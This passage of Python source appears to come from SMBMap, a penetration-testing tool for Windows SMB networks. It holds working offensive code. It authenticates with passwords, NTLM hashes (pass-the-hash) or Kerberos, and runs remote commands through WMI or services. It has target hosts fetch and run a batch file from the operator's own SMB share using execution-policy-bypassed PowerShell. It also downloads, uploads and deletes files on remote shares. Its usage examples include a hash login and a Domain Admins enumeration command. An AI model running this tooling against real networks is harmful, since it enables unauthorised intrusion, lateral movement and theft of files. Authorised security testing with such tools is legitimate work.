579 | except:
580 | pass
581 | scmr.hRDeleteService(self.__scmr, service)
582 | scmr.hRCloseServiceHandle(self.__scmr, service)
583 | self.get_output()
584 |
585 | def send_data(self, data):
586 | self.execute_remote(data)
587 | print(self.__outputBuffer)
588 | self.__outputBuffer = ''
589 |
590 |
591 | class SMBMap():
592 | KNOWN_PROTOCOLS = {
593 | '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
594 | '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
595 | }
596 |
597 | def __init__(self):
598 | self.recursive = False
599 | self.dir_only = False
600 | self.list_files = False
601 | self.admin_only = False
602 | self.loading = False
603 | self.verbose = True
604 | self.shares = {}
605 | self.isLoggedIn = False
606 | self.pattern = None
607 | self.grepable = False
608 | self.outfile = None
609 | self.csv = False
610 | self.csv_writer = None
611 | self.hosts = {}
612 | self.jobs = {}
613 | self.search_output_buffer = ''
614 | self.loader = None
615 | self.exclude = []
616 |
617 | def logout(self, host):
618 | try:
619 | for session in self.hosts[host]['smbconn']:
620 | session.logoff()
621 | return True
622 | except:
623 | return False
624 |
625 | def start_smb_server(self):
626 | try:
627 | smb_server = SimpleSMBServer('0.0.0.0', 445)
628 | smb_server.daemon = True
629 | smb_server.start()
630 | return smb_server
631 | except Exception as e:
632 | print('[!] Run as r00t, or maybe something is using port 445...')
633 | self.kill_loader()
634 | return False
635 | sys.exit(1)
636 |
637 |
638 | def start_file_search(self, host, pattern, share, search_path):
639 | try:
640 | myIPaddr = self.get_ip_address()
641 | job_name = uuid.uuid4().hex
642 | tmp_dir = self.exec_command(host, share, 'echo %TEMP%', disp_output=False).strip()
643 | if len(tmp_dir) == 0:
644 | tmp_dir = 'C:\\Windows\\Temp'
645 |
646 | tmp_bat_cmd = 'powershell -NoLogo -ExecutionPolicy bypass -Command " & {}Get-ChildItem {}\\*.* -Recurse -Exclude *.dll,*.exe,*.msi,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.wav | Select-String -Pattern \'{}\' | Select-Object -Unique Path | out-string -width 220{}" 2>nul > {}\\{}.txt'.format('{', search_path, pattern, '}', tmp_dir, job_name)
647 | tmp_bat = open('./{}/{}.bat'.format(PSUTIL_DIR, job_name), 'w')
648 | tmp_bat.write(tmp_bat_cmd)
649 | tmp_bat.close()
650 |
651 | ps_command = 'powershell -ExecutionPolicy bypass -NoLogo -command "Start-Process """cmd.exe""" """/c \\\\{}\\{}\\{}.bat""" "'.format(myIPaddr, PSUTIL_SHARE, job_name)
652 | success = self.exec_command(host, share, ps_command, disp_output=False)
653 | print('[+] Job {} started on {}, result will be stored at {}\\{}.txt'.format(job_name, host, tmp_dir, job_name))
654 | proc_id = self.get_job_procid(host, share, tmp_dir, job_name)
655 | if len(proc_id) > 0:
656 | proc_id = [j.strip() for j in proc_id.split('\n') if len(j) > 0]
657 | self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern, 'start_time': time.perf_counter() , 'proc_id' : proc_id }
658 | except Exception as e:
659 | exc_type, exc_obj, exc_tb = sys.exc_info()
660 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
661 | #print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
662 | sys.stdout.flush()
663 | print('[!] Job creation failed on host: %s. Did you run as r00t?' % (host))
664 |
665 | def get_job_procid(self, host, share, path, job):
666 | try:
667 | myIPaddr = self.get_ip_address()
668 | file_path = '{}\\{}.txt'.format(path, job)
669 | command = 'powershell -NoLogo -ExecutionPolicy bypass -File \\\\{}\\{}\\Get-FileLockProcess.ps1 "{}"'.format(myIPaddr, PSUTIL_SHARE, file_path)
670 | result = self.exec_command(host, share, command, disp_output=False)
671 | return result
672 | except Exception as e:
673 | exc_type, exc_obj, exc_tb = sys.exc_info()
674 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
675 | print('[!] WTF: {} on line {}'.format(e, exc_tb.tb_lineno))
676 | sys.stdout.flush()
677 |
678 | def get_search_results(self, timeout):
679 | print('[+] Checking on search results, be patient, drives tend to be big...')
680 | counter = 0
681 | num_jobs = len(list(self.jobs.keys()))
682 | start_time = time.perf_counter()
683 | while len(list(self.jobs.keys())) > 0:
684 | try:
685 | for job in list(self.jobs.keys()):
686 | isItThere = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "if exist {}\\{}.txt echo ImHere"'.format(self.jobs[job]['tmp'], job), disp_output=False)
687 | result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>{}\\{}.txt (call )) && (echo not locked) || (echo locked)"'.format(self.jobs[job]['tmp'], job), disp_output=False)
688 | if 'not locked' == result.strip() and isItThere.strip() == 'ImHere':
689 | dl_target = '%s%s\\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
690 | host_dest = download_file(self.hosts[self.jobs[job]['host']]['smbconn'][0], dl_target)
691 | counter += 1
692 | self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern'])
693 | if os.stat(host_dest).st_size > 0:
694 | results_file = open(host_dest)
695 | self.search_output_buffer += results_file.read()
696 | self.search_output_buffer += '\n'
697 | else:
698 | self.search_output_buffer += 'No matching patterns found\n\n'
699 | print('[+] Job %d of %d completed on %s...' % (counter, num_jobs, self.jobs[job]['host']))
700 | self.delete_file(self.jobs[job]['host'], dl_target)
701 | os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
702 | self.jobs.pop(job, None)
703 | if counter >= num_jobs:
704 | break
705 | else:
706 | if time.perf_counter()-self.jobs[job]['start_time'] > int(timeout):
707 | print('[!] Job {} is taking a long time....it\'s getting punted'.format(job))
708 | for pid in self.jobs[job]['proc_id']:
709 | kill_job = 'taskkill /PID {} /F'.format(pid)
710 | success = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], kill_job, disp_output=False)
711 | os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
712 | time.sleep(10)
713 | except Exception as e:
714 | print('[!]', e)
715 | print('[+] All jobs complete')
716 | print(self.search_output_buffer)
717 |
718 | def get_ip_address(self):
719 | myIPaddr = ''
720 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
721 | try:
722 | s.connect(('10.255.255.255', 1))
723 | myIPaddr = s.getsockname()[0]
724 | except:
725 | myIPaddr = '127.0.0.1'
726 | finally:
727 | s.close()
728 | return myIPaddr
729 |
730 | def list_drives(self, host, share):
731 | counter = 0
732 | disks = []
733 | try:
734 | local_disks = self.exec_command( host, share, 'fsutil fsinfo drives', disp_output=False)
735 | net_disks_raw = self.exec_command( host, share, 'net use', disp_output=False)
736 | net_disks = ''
737 | for line in net_disks_raw.split('\n'):
738 | if ':' in line:
739 | data = line.split(' ')
740 | data = [a for a in data if a != '']
741 | for item in data:
742 | counter += 1
743 | net_disks += '%s\t\t' % (item)
744 | if '\\' in item:
745 | net_disks += ' '.join(data[counter:])
746 | break
747 | disks.append(net_disks)
748 | net_disks = ''
749 | print('[+] Host %s Local %s' % (host, local_disks.strip()))
750 | print('[+] Host %s Net Drive(s):' % (host))
751 | if len(disks) > 0:
752 | for disk in disks:
753 | print('\t%s' % (disk))
754 | else:
755 | print('[*] No mapped network drives')
756 | pass
757 | except Exception as e:
758 | print('[!] Error on {}: {}'.format(host, e))
759 |
760 | def kill_loader(self):
761 | self.loading = False
762 | if self.loader:
763 | self.loader.terminate()
764 | self.loader.join()
765 | self.loader.cleanup()
766 | self.loader = None
767 |
768 | def filter_results(self, pattern):
769 | pass
770 |
771 | def exec_command(self, host, share, command, disp_output=True, host_name=None, mode='wmi'):
772 | try:
773 | if self.is_ntlm(self.hosts[host]['passwd']):
774 | hashes = self.hosts[host]['passwd']
775 | else:
776 | hashes = None
777 |
778 | if mode == 'wmi':
779 | executer = WMIEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command, scr_output=disp_output)
780 | result = executer.run(host)
781 | else:
782 | executer = CMDEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command)
783 | result = executer.run(host_name, host)
784 | return result
785 | except Exception as e:
786 | exc_type, exc_obj, exc_tb = sys.exc_info()
787 | print('[!] Something weird happened on ({}) {} on line {}'.format(host, e, exc_tb.tb_lineno))
788 | sys.stdout.flush()
789 | return none
790 |
791 | def delete_file(self, host, path):
792 | path = path.replace('/','\\')
793 | path = ntpath.normpath(path)
794 | filename = path.split('\\')[-1]
795 | share = path.split('\\')[0]
796 | path = path.replace(share, '', 1)
797 | path = path.replace(filename, '')
798 | try:
799 | self.hosts[host]['smbconn'][0].deleteFile(share, path + filename)
800 | if self.verbose:
801 | print('[+] File successfully deleted: %s%s%s' % (share, path, filename))
802 | except SessionError as e:
803 | if 'STATUS_ACCESS_DENIED' in str(e):
804 | print('[!] Error deleting file, access denied')
805 | elif 'STATUS_INVALID_PARAMETER' in str(e):
806 | print('[!] Error deleting file, invalid path')
807 | elif 'STATUS_SHARING_VIOLATION' in str(e):
808 | print('[!] Error deleting file, sharing violation')
809 | elif 'STATUS_FILE_IS_A_DIRECTORY' in str(e):
810 | self.hosts[host]['smbconn'][0].deleteDirectory(share, path)
811 | #self.remove_dir(host, share, path)
812 | else:
813 | print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
814 | print('[!]', e)
815 | except Exception as e:
816 | print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
817 | print('[!]', e)
818 |
819 | def upload_file(self, host, src, dst):
820 | dst = dst.replace('/','\\')
821 | dst = ntpath.normpath(dst)
822 | dst = dst.split('\\')
823 | share = dst[0]
824 | dst = '\\'.join(dst[1:])
825 | if os.path.exists(src):
826 | print('[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src)))
827 | upFile = open(src, 'rb')
828 | try:
829 | self.hosts[host]['smbconn'][0].putFile(share, dst, upFile.read)
830 | print('[+] Upload complete')
831 | except Exception as e:
832 | print('[!]', e)
833 | print('[!] Error uploading file, you need to include destination file name in the path')
834 | upFile.close()
835 | else:
836 | print('[!] Invalid source. File does not exist')
837 | sys.exit()
838 |
839 | def is_ntlm(self, password):
840 | try:
841 | if len(password.split(':')) == 2:
842 | lm, ntlm = password.split(':')
843 | if len(lm) == 32 and len(ntlm) == 32:
844 | return True
845 | else:
846 | return False
847 | except Exception as e:
848 | return False
849 |
850 | def init_host( host_args ):
851 | ip = host_args['ip']
852 | port = host_args['port']
853 | user = host_args['user']
854 | passwd = host_args['passwd']
855 | domain = host_args['domain']
856 | lmhash = host_args['lmhash']
857 | nthash = host_args['nthash']
858 | kdc_host = host_args['kdc_host']
859 | try:
860 | return { 'ip' : socket.gethostbyname(ip), 'name' : socket.getnameinfo((ip, port),0)[0] , 'port' : port, 'user' : user, 'passwd' : passwd, 'domain' : domain, 'lmhash' : lmhash, 'nthash' : nthash, 'smbconn' : [] ,'kdc' : kdc_host }
861 | except Exception as e:
862 | return { 'ip' : socket.gethostbyname(ip), 'name' : ip, 'port' : 445, 'user' : user, 'passwd' : passwd, 'domain' : domain, 'lmhash' : lmhash, 'nthash' : nthash , 'smbconn' : [] , 'kdc' : kdc_host }
863 |
864 |
865 | def close_smb_connection( logoff_args ):
866 | try:
867 | smbconn = logoff_args['smbconn']
868 | return smbconn.logoff()
869 | except:
870 | return False
871 |
872 | def get_version( version_args ):
873 | smbconn = version_args['smbconn']
874 | host = version_args['host']
875 |
876 | domain = smbconn.getServerDomain()
877 | if not domain:
878 | domain = smbconn.getServerName()
879 | version = smbconn.getServerOS()
880 | name = smbconn.getServerName()
881 |
882 | return { 'Host' : '{:<16}'.format(host), 'Version' : version, 'Name' : name, 'Domain' : domain }
883 |
884 | def signal_handler(signal, frame):
885 | print('[*] You pressed Ctrl+C!')
886 | os._exit(0)
887 |
888 | def find_open_ports(address):
889 | result = 1
890 | address = address.strip()
891 | try:
892 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
893 | sock.settimeout(PORT_SCAN_TIMEOUT)
894 | result = sock.connect_ex((address, 445))
895 | if result == 0:
896 | sock.close()
897 | return address
898 | else:
899 | return False
900 | except Exception as e:
901 | return False
902 |
903 | def to_string(smb_tree, mysmb):
904 | if mysmb.verbose:
905 | header = '\tDisk{}\tPermissions\tComment\n'.format(' '.ljust(50))
906 | header += '\t----{}\t-----------\t-------'.format(' '.ljust(50))
907 | heads_up = False
908 | priv_status = ''
909 | try:
910 | for host in smb_tree.keys():
911 | if mysmb.hosts[host]['smbconn'][0].isGuestSession() > 0:
912 | priv_status = 'Status: ' + colored('Guest session \t', 'yellow')
913 | try:
914 | if smb_tree[host]['ADMIN$']['privs'] == 'READ, WRITE':
915 | priv_status = 'Status: ' + colored('ADMIN!!!', 'green', attrs=['bold','underline']) + ' \t'
916 | if mysmb.admin_only:
917 | print(' '*100)
918 | print('[+] IP: {}:{}\tName: {}\t{}'.format(host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(20), priv_status ))
919 | else:
920 | priv_status = 'Status: ' + colored ('Authenticated', 'green')
921 | except:
922 | priv_status = 'Status: ' + colored ('NULL Session', 'green')
923 |
924 | for share in smb_tree[host].keys():
925 | if smb_tree[host][share]['privs'] == 'READ, WRITE':
926 | share_name_privs = colored('READ, WRITE', 'green')
927 | if smb_tree[host][share]['privs'] == 'READ ONLY':
928 | share_name_privs = colored('READ ONLY', 'yellow')
929 | if smb_tree[host][share]['privs'] == 'NO ACCESS':
930 | share_name_privs = colored('NO ACCESS', 'red')
931 |
932 | if mysmb.admin_only == False:
933 | if heads_up == False and mysmb.verbose:
934 | print(' '*100)
935 | print('[+] IP: {}:{}\tName: {}\t{}'.format(host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(20), priv_status ))
936 | print(header)
937 | heads_up = True
938 |
939 | if mysmb.verbose == True:
940 | print('\t{}\t{}\t{}'.format(share.ljust(50), share_name_privs, smb_tree[host][share]['comment'] ) )
941 | #elif mysmb.verbose == False and smb_tree[host][share]['privs'] != 'NO ACCESS':
942 | # print('\t{}\t{}\t{}'.format(share.ljust(50), share_name_privs, smb_tree[host][share]['comment'] ) )
943 |
944 | if mysmb.csv and mysmb.recursive == False:
945 | if ( mysmb.verbose == False and smb_tree[host][share]['privs'] != 'NO ACCESS') or mysmb.verbose == True:
946 | row = {}
947 | row['Host'] = host
948 | row['Share'] = share
949 | row['Privs'] = smb_tree[host][share]['privs'].replace(',','').replace(' ', '_')
950 | row['Comment'] = smb_tree[host][share]['comment']
951 | mysmb.writer.writerow(row)
952 |
953 | if mysmb.grepable and len(smb_tree[host][share]['contents'].keys()) == 0:
954 | mysmb.outfile.write('host:{}, share:{}, privs:{}\n'.format(host, share, smb_tree[host][share]['privs'].replace(',','').replace(' ', '_')))
955 |
956 | if mysmb.recursive:
957 | for path in smb_tree[host][share]['contents'].keys():
958 | if mysmb.grepable == False and mysmb.csv == False and mysmb.verbose:
959 | if len(path) > 0 and path[0] == '/':
960 | print('\t./{}/{}'.format(share, path))
961 | else:
962 | print('\t./{}{}'.format(share, path))
963 | for file_info in smb_tree[host][share]['contents'][path]:
964 | isDir = file_info['isDir']
965 | readonly = file_info['readonly']
966 | filesize = file_info['filesize']
967 | date = file_info['date']
968 | filename = file_info['filename']
969 | if mysmb.verbose and mysmb.grepable == False and mysmb.csv == False and ((mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.dir_only == False)):
970 | print('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(16), date, filename))
971 | if mysmb.grepable:
972 | if filename != '.' and filename != '..':
973 | if (mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.dir_only == False):
974 | mysmb.outfile.write('host:{}, share:{}, privs:{}, isDir:{}, path:{}/{}/{}, fileSize:{}, date:{}\n'.format(host, share, smb_tree[host][share]['privs'].replace(',','').replace(' ', '_'), isDir, share, path, filename, str(filesize), date))
975 |
976 | elif mysmb.csv:
977 | if filename != '.' and filename != '..':
978 | if (mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.recursive ):
979 | row = {}
980 | row['Host'] = host
981 | row['Share'] = share
982 | row['Privs'] = smb_tree[host][share]['privs'].replace(',','').replace(' ', '_')
983 | row['isDir'] = isDir
984 | row['Path'] = '{}/{}/{}'.format(share, path, filename)
985 | row['fileSize'] = str(filesize)
986 | row['Date'] = date
987 | mysmb.writer.writerow(row)
988 |
989 | heads_up = False
990 | except Exception as e:
991 | print('[!] Bummer: ', e)
992 |
993 | def get_shares( share_args ):
994 | # shares_args is a dict object with the following keys
995 | #
996 | # --Key-- --Description--
997 | #
998 | # smbconn SMB connection object
999 | # host IP address
1000 | # write_check determine if WRITE permissions are assisgned
1001 | # exclude list of shares to exclude, like ipc$
1002 | #
1003 | # Returns a dict objects:
1004 | # {ip_address : {share_name : {'privs': 'val', 'comment' : 'val'} } }
1005 | #
1006 | # Example ThreadPool return set:
1007 | # [{'192.168.86.48': {
1008 | # 'print$': {'privs': 'NO ACCESS', 'comment': 'Printer Drivers'},
1009 | # 'HP_LaserJet_1020': {'privs': 'NO ACCESS', 'comment': ''} }
1010 | # },
1011 | # {'192.168.86.106': {
1012 | # 'ADMIN$': {'privs': 'READ, WRITE', 'comment': 'Remote Admin'},
1013 | # 'C': {'privs': 'READ ONLY', 'comment': ''},
1014 | # 'C$': {'privs': 'READ, WRITE', 'comment': 'Default share'},
1015 | # 'Users': {'privs': 'READ, WRITE', 'comment': ''}}
1016 | # } ]
1017 |
1018 | share_tree = {}
1019 | if share_args['smbconn'].getDialect():
1020 | try:
1021 | shareList = share_args['smbconn'].listShares()
1022 | shares = []
1023 | for item in range(len(shareList)):
1024 | shares.append( (shareList[item]['shi1_netname'][:-1], shareList[item]['shi1_remark'][:-1]) )
1025 |
1026 | share_privs = ''
1027 | share_comment = ''
1028 | host = share_args['host']
1029 | share_tree[host] = {}
1030 | for share in shares:
1031 | if share[0].lower() not in share_args['exclude']:
1032 | share_name = share[0]
1033 | share_comment = share[1]
1034 | share_tree[host][share_name] = {}
1035 | canWrite = False
1036 | readonly = False
1037 | noaccess = False
1038 | if share_args['write_check']:
1039 | try:
1040 | root = PERM_DIR.replace('/','\\')
1041 | root = ntpath.normpath(root)
1042 | create_dir(share_args['smbconn'], share_name, root)
1043 | share_tree[host][share_name]['privs'] = 'READ, WRITE'
1044 | canWrite = True
1045 | try:
1046 | remove_dir(share_args['smbconn'], share_name, root)
1047 | except Exception as e:
1048 | print('[!] Unable to remove test directory at \\\\%s\\%s\\%s, please remove manually' % (host, share_name, root))
1049 | except Exception as e:
1050 | exc_type, exc_obj, exc_tb = sys.exc_info()
1051 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
1052 | #print(exc_type, fname, exc_tb.tb_lineno)
1053 | sys.stdout.flush()
1054 |
1055 | if canWrite == False:
1056 | try:
1057 | root = PERM_DIR.replace('/','\\')
1058 | root = '{}.txt'.format(ntpath.normpath(root))
1059 | create_file(share_args['smbconn'], share_name, root)
1060 | share_tree[host][share_name]['privs'] = 'READ, WRITE'
1061 | canWrite = True
1062 | try:
1063 | remove_file(share_args['smbconn'], share_name, root)
1064 | except Exception as e:
1065 | if 'STATUS_OBJECT_NAME_NOT_FOUND' in str(e):
1066 | pass
1067 | else:
1068 | print('[!] Unable to remove test file at \\\\{}\\{}\\{}, please remove manually'.format(host, share_name, root))
1069 | except Exception as e:
1070 | exc_type, exc_obj, exc_tb = sys.exc_info()
1071 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
1072 | #print(exc_type, fname, exc_tb.tb_lineno)
1073 | sys.stdout.flush()
1074 |
1075 | try:
1076 | if share_args['smbconn'].listPath(share_name, pathify('/')) and canWrite == False:
1077 | readonly = True
1078 | share_tree[host][share_name]['privs'] = 'READ ONLY'
1079 | except Exception as e:
1080 | noaccess = True
1081 | share_tree[host][share_name]['privs'] = 'NO ACCESS'
1082 | share_tree[host][share_name]['comment'] = share_comment
1083 |
1084 | return share_tree
1085 | except SessionError as e:
1086 | print('[!] Access denied on {}, no fun for you...'.format(share_args['host']))
1087 | except Exception as e:
1088 | exc_type, exc_obj, exc_tb = sys.exc_info()
1089 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
1090 | print('[!] Something weird happened on ({}) {} on line {}'.format(share_args['host'], e, exc_tb.tb_lineno))
1091 | sys.stdout.flush()
1092 | return {}
1093 |
1094 | def list_path( list_args ):
1095 | # list_args is a dict object with the following keys
1096 | #
1097 | # --Key-- --Description--
1098 | #
1099 | # smbconn SMB connection object
1100 | # share share drive to list (ls)
1101 | # path path on drive to list
1102 | # path_list child path list (it's a recursive function)
1103 | # depth how many nodes deep to traverse the tree
1104 | # pattern pattern to match against file names
1105 | # dir_only list only directories, skip files
1106 |
1107 |
1108 | pwd = pathify(list_args['path'])
1109 | width = 16
1110 | share = list_args['share']
1111 | depth = list_args['depth']
1112 | path = list_args['path']
1113 | host = list_args['host']
1114 |
1115 | if list_args['path_list'] is None:
1116 | list_args['path_list'] = {}
1117 | path_list = { host : { share : {} } }
1118 | else:
1119 | path_list = list_args['path_list']
1120 |
1121 | global LIST_PATH_TIMEOUT
1122 | if LIST_PATH_TIMEOUT and time.perf_counter() - LIST_PATH_START_TIME > LIST_PATH_TIMEOUT:
1123 | print(f'[!] List path timeout at \\\\{host}\\{share}\\{pwd} Aborting...')
1124 | return path_list
1125 |
1126 | try:
1127 |
1128 | raw_path_list = list_args['smbconn'].listPath(share, pwd)
1129 | path_list[host][share][path] = []
1130 | for item in raw_path_list:
1131 | filesize = item.get_filesize()
1132 | readonly = 'w' if item.is_readonly() > 0 else 'r'
1133 | date = time.ctime(float(item.get_mtime_epoch()))
1134 | isDir = 'd' if item.is_directory() > 0 else 'f'
1135 | filename = item.get_longname()
1136 | if isDir == 'f':
1137 | if list_args['pattern']:
1138 | fileMatch = re.search(list_args['pattern'].lower(), filename.lower())
1139 | if fileMatch:
1140 | if len(path) > 0 and path[0] == '/':
1141 | dlThis = '{}{}/{}'.format(share, path, filename)
1142 | else:
1143 | dlThis = '{}/{}/{}'.format(share, path, filename)
1144 | #dlThis = dlThis.replace('/','\\')
1145 | print('[+] Match found! Downloading: {}'.format(dlThis))
1146 | download_file(list_args['smbconn'], dlThis)
1147 | if (list_args['dir_only'] and isDir == 'd') or ( list_args['dir_only'] == False):
1148 | path_list[host][share][path].append({'isDir': isDir, 'readonly': readonly, 'filesize': filesize, 'date': date, 'filename': filename})
1149 | if int(depth) > 1:
1150 | for smbItem in path_list[host][share][path]:
1151 | try:
1152 | if smbItem['isDir'] == 'd' and smbItem['filename'] not in [ '.', '..']:
1153 | subPath = '{}/{}'.format(path, smbItem['filename'])
1154 | subPath = pathify(subPath)
1155 | raw_path_list = list_args['smbconn'].listPath(share, subPath)
1156 | if len(raw_path_list) > 2 and '{}/{}'.format(path, smbItem['filename']) not in path_list[host][share].keys() and subPath.count('\\')-1 <= int(depth):
1157 | list_args['path'] = '{}/{}'.format(path, smbItem['filename'])
1158 | list_args['path_list'] = path_list
1159 | list_path( list_args )
1160 | except SessionError as e:
1161 | continue
1162 |
1163 | return path_list
1164 | except Exception as e:
1165 | exc_type, exc_obj, exc_tb = sys.exc_info()
1166 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
1167 | print('[!] Something weird happened on ({}) {} on line {}'.format(host, e, exc_tb.tb_lineno))
1168 | sys.stdout.flush()
1169 |
1170 | def download_file(smbconn, path):
1171 | path = path.replace('/','\\')
1172 | path = ntpath.normpath(path)
1173 | filename = path.split('\\')[-1]
1174 | share = path.split('\\')[0]
1175 | path = path.replace(share, '', 1)
1176 | host = socket.gethostbyname(smbconn.getRemoteHost())
1177 |
1178 | try:
1179 | output_path = ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_'))))
1180 | dlFile = smbconn.listPath(share, path)
1181 | print('[+] Starting download: {}{} ({} bytes)'.format(share, path, dlFile[0].get_filesize()))
1182 | with open(output_path, 'wb') as out:
1183 | smbconn.getFile(share, path, out.write)
1184 | print('[+] File output to: %s/%s' % (os.getcwd(), output_path))
1185 |
1186 | except SessionError as e:
1187 | if 'STATUS_ACCESS_DENIED' in str(e):
1188 | print('[!] Error retrieving file, access denied')
1189 | elif 'STATUS_INVALID_PARAMETER' in str(e):
1190 | print('[!] Error retrieving file, invalid path')
1191 | elif 'STATUS_SHARING_VIOLATION' in str(e):
1192 | print('[!] Error retrieving file %s, sharing violation' % (filename))
1193 | elif 'STATUS_NO_SUCH_FILE' in str(e):
1194 | print('[!] Error retrieving file, no such file')
1195 | #os.remove(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
1196 | return '{}/{}'.format(os.getcwd(),output_path)
1197 |
1198 | def create_file(smbconn, share, path):
1199 | tid = smbconn.connectTree(share)
1200 | fid = smbconn.createFile(tid, path, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE)
1201 | smbconn.closeFile(tid, fid)
1202 |
1203 | def remove_file(smbconn, share, path):
1204 | #path = self.pathify(path)
1205 | smbconn.deleteFile(share, path)
1206 |
1207 | def remove_dir(smbconn, share, path):
1208 | #path = self.pathify(path)
1209 | smbconn.deleteDirectory(share, path)
1210 |
1211 | def pathify(path):
1212 | root = ''
1213 | root = ntpath.join(path,'*')
1214 | root = root.replace('/','\\')
1215 | root = root.replace('\\\\','\\')
1216 | root = ntpath.normpath(root)
1217 | return root
1218 |
1219 | def login_kerberos(host):
1220 | smbconn = None
1221 | try:
1222 | if host['port'] == 445:
1223 | smbconn = SMBConnection(host['ip'], host['ip'], sess_port=host['port'], timeout=3)
1224 | else:
1225 | smbconn = SMBConnection('*SMBSERVER', host['host'], sess_port=host['port'], timeout=3)
1226 | except Exception as e:
1227 | print('[!] Connection error on {}'.format(host['ip']))
1228 |
1229 | if smbconn:
1230 | try:
1231 | smbconn.kerberosLogin(host['user'], host['passwd'], host['domain'], host['lmhash'], host['nthash'], kdcHost=host['kdc'], useCache=USE_CCACHE)
1232 | except Exception as e:
1233 | print('[!] Authentication error on {}'.format(host['ip']), e)
1234 |
1235 | return smbconn
1236 |
1237 | return False
1238 |
1239 | def login(host):
1240 | smbconn = None
1241 | try:
1242 | if host['port'] == 445:
1243 | smbconn = SMBConnection(host['ip'], host['ip'], sess_port=host['port'], timeout=3)
1244 | else:
1245 | smbconn = SMBConnection('*SMBSERVER', host['host'], sess_port=host['port'], timeout=3)
1246 | except Exception as e:
1247 | print('[!] Connection error on {}'.format(host['ip']))
1248 |
1249 | if smbconn:
1250 | try:
1251 | smbconn.login(host['user'], host['passwd'], host['domain'], host['lmhash'], host['nthash'])
1252 | except Exception as e:
1253 | if VERBOSE:
1254 | print('[!] Authentication error on {}'.format(host['ip']))
1255 | return smbconn
1256 |
1257 | return False
1258 |
1259 | def check_smb_signing(signing_args):
1260 | ip = signing_args['host']
1261 | my_smb = None
1262 |
1263 | #First try to negotiate a session with legacy SMB dialect
1264 | try:
1265 | my_smb = smb.SMB('.', ip)
1266 | except Exception as e:
1267 | pass
1268 |
1269 | #Then try to negotiate a session with SMB3 dialect
1270 | if my_smb == None:
1271 | try:
1272 | my_smb = smb3.SMB3('.', ip)
1273 | except Exception as e:
1274 | pass
1275 |
1276 | if my_smb:
1277 | try:
1278 | if my_smb._Connection['RequireSigning'] == True:
1279 | return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing required' }
1280 | elif isinstance(my_smb, smb3.SMB3) and my_smb._Connection['RequireSigning'] == False:
1281 | return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing enabled (not required)' }
1282 | except AttributeError as e:
1283 | pass
1284 |
1285 | try:
1286 | if isinstance(my_smb, smb.SMB):
1287 | if my_smb._dialects_parameters:
1288 | if my_smb._dialects_parameters.fields['SecurityMode'] == 7:
1289 | return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing enabled (not required)' }
1290 | elif my_smb._dialects_parameters.fields['SecurityMode'] == 3:
1291 | return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing disabled' }
1292 | except Exception as e:
1293 | pass
1294 | return { 'Host' : f'{ip:<16}', 'signing_status' : 'unkown (possibly Linux)...' }
1295 |
1296 | def main():
1297 | example = 'Examples:\n\n'
1298 | example += '$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1\n'
1299 | example += '$ python smbmap.py -u jsmith -p \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -H 172.16.0.20\n'
1300 | example += '$ python smbmap.py -u \'apadmin\' -p \'asdf1234!\' -d ACME -Hh 10.1.3.30 -x \'net group "Domain Admins" /domain\'\n'
1301 |
1302 | parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=banner, epilog=example)
1303 |
1304 | sgroup = parser.add_argument_group("Main arguments")
1305 | mex_group = sgroup.add_mutually_exclusive_group(required=True)
1306 | pass_group = sgroup.add_mutually_exclusive_group()
1307 | kerb_group = parser.add_argument_group('Kerberos settings')
1308 | mex_group.add_argument("-H", metavar="HOST", dest='host', type=str, help="IP or FQDN", default=False)
1309 | mex_group.add_argument("--host-file", metavar="FILE", dest="hostfile", default=False, type=argparse.FileType('r'), help="File containing a list of hosts")
1310 |
1311 | sgroup.add_argument("-u","--username", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
